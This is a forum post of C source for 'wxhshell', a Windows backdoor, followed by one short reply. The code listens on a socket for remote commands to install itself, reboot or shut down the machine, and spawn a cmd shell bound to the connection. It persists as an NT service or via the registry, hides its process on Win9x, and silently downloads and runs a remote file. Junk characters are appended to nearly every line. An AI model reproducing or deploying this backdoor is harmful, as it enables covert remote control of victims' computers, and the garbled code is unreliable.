  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f @cs<x  
  if(DownloadFile(cmd,wsh)) #!FLX*,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n6a*|rE  
  else 426)H_wx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G{cTQH|  
  } VnJ-nfA  
  else { vsM] <t  
!j3V'XU#Zn  
    switch(cmd[0]) { IHg)xZ  
  L#`9# Q  
  // 帮助 v0dFP0.;&  
  case '?': { f~.w2Cna  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]/+qM)F  
    break; u%7a&1c  
  } h CLXL  
  // 安装 QxGQF|  
  case 'i': { p ]zYj >e  
    if(Install()) i~IQlyGr.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a#0G mK  
    else /Jc?;@{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yt&eY6Xp  
    break; QS~;C&1Hl  
    } ')9%eBaeK  
  // 卸载 @x@w<e%  
  case 'r': { PSdH9ea  
    if(Uninstall()) J L9d&7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lbES9o5  
    else O^ ]I>A#d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X'&$wQ6,K  
    break; TgaDzF,j{A  
    } / -=(51}E  
  // 显示 wxhshell 所在路径 )r2$/QF9  
  case 'p': { _e.b #{=9  
    char svExeFile[MAX_PATH]; (jD..qMs#  
    strcpy(svExeFile,"\n\r"); a.5s5g)8  
      strcat(svExeFile,ExeFile); T2wn!N?r  
        send(wsh,svExeFile,strlen(svExeFile),0); 8j,_  
    break; f/b }X3K  
    } -?b@6U  
  // 重启 >EMgP1  
  case 'b': { 1q!JpC^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c= 2e?  
    if(Boot(REBOOT)) *x| <\_+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L!L/QG|wdf  
    else { DJE/u qE  
    closesocket(wsh); wS2iyrIB  
    ExitThread(0); 8-5a*vV,>  
    } \QUvImT  
    break; ,h2q 37  
    } ru`;cXa,  
  // 关机 T^a {#B  
  case 'd': { !v2,lH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  hh"0z]  
    if(Boot(SHUTDOWN)) );h\0w>3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qD\%8l.]Z  
    else { (nrrzOax  
    closesocket(wsh); co3H=#2a  
    ExitThread(0); 4(4JQ(5  
    } =tcPYYD  
    break; *eXO?6f%s^  
    } ^c]Sl  
  // 获取shell 2LYd # !i  
  case 's': { ZZC= 7FB  
    CmdShell(wsh); dW7dMx  
    closesocket(wsh); Z-<v5aF  
    ExitThread(0); Hcd>\0  
    break; i&,U);T  
  } ~,e!t.339  
  // 退出 t%z7#}9$  
  case 'x': { >*}qGk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3i(k6)H$4  
    CloseIt(wsh); MatC2-aV1  
    break; bT-G<h*M  
    } W7A'5  
  // 离开 4Sg!NPuu7&  
  case 'q': { cM4?G gn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \|>eG u  
    closesocket(wsh); "tIf$z  
    WSACleanup(); savz>E &  
    exit(1); :,q3?l6  
    break; Q]xW}5 /  
        } g}^ /8rW  
  } |/fbU_d  
  } [/uKo13  
zF i+6I$  
  // 提示信息 TiBE9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R~*Y@_oD  
} r-YQsu&  
  } M]` Q4\  
G P1>h.J  
  return; a`pY&xq::  
} eZHzo  
<Awx:lw.  
// shell模块句柄 n'*Ljp  
int CmdShell(SOCKET sock) ~vl:Tb  
{ 3}:pD]`h  
STARTUPINFO si; C6"!'6 W  
ZeroMemory(&si,sizeof(si)); _ z4rx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nv$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Elr8XLw  
PROCESS_INFORMATION ProcessInfo; 9jPb-I-   
char cmdline[]="cmd"; /#G"'U/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {t/!a0\HS  
  return 0; <M'IR f/D  
} 9_>4~!x`  
iKabo,~  
// 自身启动模式 b"FsT  
int StartFromService(void) yL Q&<\  
{ 18A&[6"!  
typedef struct Mz++SPG7  
{ c?R.SBr,'  
  DWORD ExitStatus; _TPo=}Z  
  DWORD PebBaseAddress; jATU b-  
  DWORD AffinityMask; H4:TYh  
  DWORD BasePriority; DpS6>$v8t  
  ULONG UniqueProcessId; o mjLQp[%  
  ULONG InheritedFromUniqueProcessId; :ZP3$Dp  
}   PROCESS_BASIC_INFORMATION; J/<`#XZB   
f A,+qs  
PROCNTQSIP NtQueryInformationProcess; k(qQvn  
E+1j3Q;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "tj#P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pWx3l5)R  
Zj7XmkL  
  HANDLE             hProcess; ; %Da {  
  PROCESS_BASIC_INFORMATION pbi; @E>^\!nH  
% 9D@W*Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /3TorB~Y  
  if(NULL == hInst ) return 0; I@S<D"af  
xRY5[=97  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \QMSka>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?@#}%<yEq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ys_YjlMIbl  
Y+jKP*ri  
  if (!NtQueryInformationProcess) return 0; -mkync3  
bp$jD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O(~Vvoq  
  if(!hProcess) return 0; :> q?s  
g^C6"rsnl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j d8 1E  
W_ 6Jl5]  
  CloseHandle(hProcess); 7}x-({bqy  
)ED[cYGx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PjP%,-@1  
if(hProcess==NULL) return 0; =0)^![y]v  
xqtjtH9X  
HMODULE hMod;  XGoy#h  
char procName[255]; zc1Zuco| R  
unsigned long cbNeeded; 6+u'Tcb  
d$TW](Bby  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~JNuy"8  
`?@7 KEl>  
  CloseHandle(hProcess); \;6F-0  
&rd(q'Vi  
if(strstr(procName,"services")) return 1; // 以服务启动 I>5@s;  
\Cs<'(=  
  return 0; // 注册表启动 S }n;..{  
} J9 =gv0  
bvx:R ~E$  
// 主模块 %pp+V1FH  
int StartWxhshell(LPSTR lpCmdLine) ~?&ijhZ  
{ G'py)C5;  
  SOCKET wsl; f lB,_  
BOOL val=TRUE; \+u qP:Ty  
  int port=0; biG9?  
  struct sockaddr_in door; 84[^#ke  
r9Z/y*q  
  if(wscfg.ws_autoins) Install(); u7=[~l&L  
'JMa2/7CG  
port=atoi(lpCmdLine); $a A.d^  
K(d!0S  
if(port<=0) port=wscfg.ws_port; \$C 4H  
SHk[X ]Uo  
  WSADATA data; +Y~+o-_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W =zG  
g=C<E2'i*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |u{QI3#'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +mA=%? l  
  door.sin_family = AF_INET; 4B]61|A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6\3k0z  
  door.sin_port = htons(port); [KH?5 C  
DOerSh_0W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zFtGc  
closesocket(wsl); OVyy}1Hx  
return 1; 88>Uu!M=f  
} Z~(XyaN  
RNdnlD#P  
  if(listen(wsl,2) == INVALID_SOCKET) { y2R=%EFh6  
closesocket(wsl); re!8nuBsA  
return 1; ]CZLaID~  
} vVYduvw  
  Wxhshell(wsl); V8yX7yx  
  WSACleanup(); FZnH G;af  
.NT&>X~.V  
return 0; zcKC5vqb  
ElXe=5L\#  
} 6 b}feEh$!  
' D&G~$  
// 以NT服务方式启动 X^Y9T`mQ}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A7C+&I!L  
{ $t$f1?  
DWORD   status = 0; =.E(p)fz  
  DWORD   specificError = 0xfffffff; [bv@qBL  
9@Sb! 9h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &XRFX 5gP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @6q$Zg/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$G*TR<2  
  serviceStatus.dwWin32ExitCode     = 0; ;n!X% S<z*  
  serviceStatus.dwServiceSpecificExitCode = 0; n:'BN([]o  
  serviceStatus.dwCheckPoint       = 0; HiG/(<bs9O  
  serviceStatus.dwWaitHint       = 0; f hG2  
}qv-lO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XyphQ}\u  
  if (hServiceStatusHandle==0) return; C[nr>   
? SP7vQ/  
status = GetLastError(); 9Nu#&_2R  
  if (status!=NO_ERROR) xD# I&.  
{ o'7ju~0L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #L.}CzAz  
    serviceStatus.dwCheckPoint       = 0; !2| `aa  
    serviceStatus.dwWaitHint       = 0; kA<r:/  
    serviceStatus.dwWin32ExitCode     = status; ?ev G=S4>  
    serviceStatus.dwServiceSpecificExitCode = specificError; .p9h$z^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$/A!r  
    return; pMp9 O/u%  
  } 3Z:!o$  
htYrv5q=M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -Y=c g;  
  serviceStatus.dwCheckPoint       = 0; d:pm|C|F  
  serviceStatus.dwWaitHint       = 0; % `T5a<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M3@fc,Ch  
} 6Y )^)dOi  
!* Z)[[  
// 处理NT服务事件,比如:启动、停止 e K1m(E.=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pE/3-0;}N  
{ d4>-a^)V  
switch(fdwControl) 8ex:OTzn|  
{ y/I ~x+ y  
case SERVICE_CONTROL_STOP: %C6zXiO"  
  serviceStatus.dwWin32ExitCode = 0; '&:x_WwVrO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8+a<#? ;  
  serviceStatus.dwCheckPoint   = 0; {2k< k(,  
  serviceStatus.dwWaitHint     = 0; 'eDgeWt/CQ  
  { qj"syO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [l%fL9  
  } /B@% pq  
  return; ~wf~b zs  
case SERVICE_CONTROL_PAUSE: NE2sD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @b*T4hwA.  
  break; u AS8F=9xP  
case SERVICE_CONTROL_CONTINUE: T:%wX9W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PnIvk]"Ab  
  break; #D/ }u./  
case SERVICE_CONTROL_INTERROGATE: uU(G_E ?  
  break; :.[5('  
}; p5;,/ |Ft  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w+9C/U;|s  
} ENXW#{N.v  
6a]f&={E  
// 标准应用程序主函数 oB06{/6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0/P-> n~  
{ W|rFl]~a  
5;MK1l  
// 获取操作系统版本 [{p?BTs  
OsIsNt=GetOsVer(); -)a_ub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8pL>wL &C  
Ky9No"o  
  // 从命令行安装 XBWSO@M'  
  if(strpbrk(lpCmdLine,"iI")) Install(); O4d^ig-xaH  
xDA,?i;T 0  
  // 下载执行文件 f+TBs_  
if(wscfg.ws_downexe) { z?uQlm*We  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aRO_,n9  
  WinExec(wscfg.ws_filenam,SW_HIDE); @z$pPo0fW  
} D0y,TF  
`-K)K<  
if(!OsIsNt) { /zG-\eU  
// 如果时win9x,隐藏进程并且设置为注册表启动 v(@+6#&  
HideProc(); S5E,f?l  
StartWxhshell(lpCmdLine); OZB}aow  
} .A"T086  
else K~y9zF{  
  if(StartFromService()) TaQ "G  
  // 以服务方式启动 \LoSUl i  
  StartServiceCtrlDispatcher(DispatchTable); <W=[ sWJ  
else #!=>muZt  
  // 普通方式启动 :Bv&)RK  
  StartWxhshell(lpCmdLine); W`/jz/  
GkGC4*n  
return 0; ? W2I1HEy  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八